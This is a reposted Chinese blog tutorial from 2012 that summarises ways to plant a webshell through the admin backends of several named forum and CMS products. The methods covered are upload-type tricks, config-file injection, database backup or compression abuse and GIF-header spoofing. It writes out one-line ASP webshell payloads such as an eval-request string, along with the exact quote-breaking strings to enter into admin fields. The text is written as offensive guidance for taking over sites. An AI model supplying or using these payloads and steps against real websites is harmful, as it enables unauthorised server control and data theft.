台拿WEBSHELL方法总结

转载

weixin_34110749 于 2012-03-20 16:13:00 发布 39 收藏
文章标签： 数据库 php shell
原文链接：http://blog.51cto.com/861017/811528

一、直接上传获得

这种对php和jsp的一些程序比较常见，MolyX BOARD就是其中一例，直接在心情图标管理上传.php类型，虽然没有提示，其实已经成功了，上传的文 件url应该是http://forums/p_w_picpaths/smiles/下，前一阵子的联众游戏站和网易的jsp系统漏洞就可以直接上传jsp文件。文 件名是原来的文件名，bo-blog后台可以可以直接上传.php文件，上传的文件路径有提示。以及一年前十分流行的upfile.asp漏洞(动网 5.0和6.0、早期的许多整站系统)，因过滤上传文件不严，导致用户可以直接上传webshell到网站任意可写目录中，从而拿到网站的管理员控制权限。

二、添加修改上传类型

现在很多的脚本程序上传模块不是只允许上传合法文件类型，而大多数的系统是允许 添加上传类型，bbsxp后台可以添加asa|asP类型，ewebeditor的后台也可添加asa类型,通过修改后我们可以直接上传asa后缀的 webshell了,还有一种情况是过滤了.asp，可以添加.aspasp的文件类型来上传获得webshell。php系统的后台，我们可以添 加.php.g1f的上传类型，这是php的一个特性,最后的哪个只要不是已知的文件类型即可，php会将php.g1f作为.php来正常运行,从而也 可成功拿到shell。LeadBbs3.14后台获得webshell方法是：在上传类型中增加asp ，注意，asp后面是有个空格的，然后在前台上传ASP马，当然也要在后面加个空格！

三、利用后台管理功能写入

上传漏洞基本上补的也差不多了,所以我们进入后台后还可以通过修改相关文件来写入webshell。比较的典型的有dvbbs6.0，还有 leadbbs2.88等，直接在后台修改配置文件，写入后缀是asp的文件。而LeadBbs3.14后台获得webshell另一方法是：添加一个新 的友情链接，在网站名称处写上冰狐最小马即可,最小马前后要随便输入一些字符，http:\\网站\inc\IncHtm\BoardLink.asp就 是我们想要的shell。

四、利用后台管理向配置文件写

利用"""":""//"等符号 构造最小马写入程序的配置文件，joekoe论坛，某某同学录，沸腾展望新闻系统，COCOON Counter统计程序等等，还有很多php程序都可以，COCOON Counter统计程序举例，在管理邮箱处添上admin@admin8.us":eval request(chr (35))//, 在配制文件中就是webmail="admin@admin8.us\":eval request(chr(35))//"，还有一种方法就是写上[url=http://www.admin8.us/]admin@admin8.us[/email]"%＞＜%eval request(chr(35))%＞＜%'，这样就会形成前后对应，最小马也就运行了。＜%eval request(chr(35))%＞可以用lake2的eval发送端以及最新的2006 客户端来连，需要说明的是数据库插马时候要选前者。再如动易2005，到文章中心管理-顶部菜单设置-菜单其它特效，插入一句话"%＞＜%execute request("l")%＞＜%'，保 存顶部栏目菜单参数设置成功后，我们就得到马地址http://网站/admin/rootclass_menu_config.asp。

五、利用后台数据库备份及恢复获得

主要是利用后台对access数据库的“备份数据库”或“恢复数据库”功能，“备份的数据库路径”等变量没有过滤导致可以把任意文件后缀改 为asp，从而得到webshell，msssql版的程序就直接应用了access版的代码，导致sql版照样可以利用。还可以备份网站asp文件为其 他后缀 如.txt文件，从而可以查看并获得网页源代码，并获得更多的程序信息增加获得webshell的机会。在实际运用中经常会碰到没有上传功能的时 候，但是有asp系统在运行，

利用此方法来查看源代码来获得其数据库的位置，为数据库马来创造机会，动网论坛就有一个ip地址的数据库，在后台的ip管理 中可以插入最小马然后备份成.asp文件即可。在谈谈突破上传检测的方法，很多asp程序在即使改了后缀名后也会提示文件非法，通过在.asp文件头加上 gif89a修改后缀为gif来骗过asp程序检测达到上传的目的，还有一种就是用记事本打开图片文件，随便粘贴一部分复制到asp***文件头，修改 gif后缀后上传也可以突破检测，然后备份为.asp文件，成功得到webshell。

六、利用数据库压缩功能

可以将数据的防下载失效从而使插入数据库的最小马成功运行，比较典型的就是loveyuki的L-BLOG，在友情添加的url出写上＜%eval request (chr(35))%＞, 提交后，在数据库操作中压缩数据库，可以成功压缩出.asp文件，用海洋的最小马的eval客户端连就得到一个webshell。

转载于:https://blog.51cto.com/861017/811528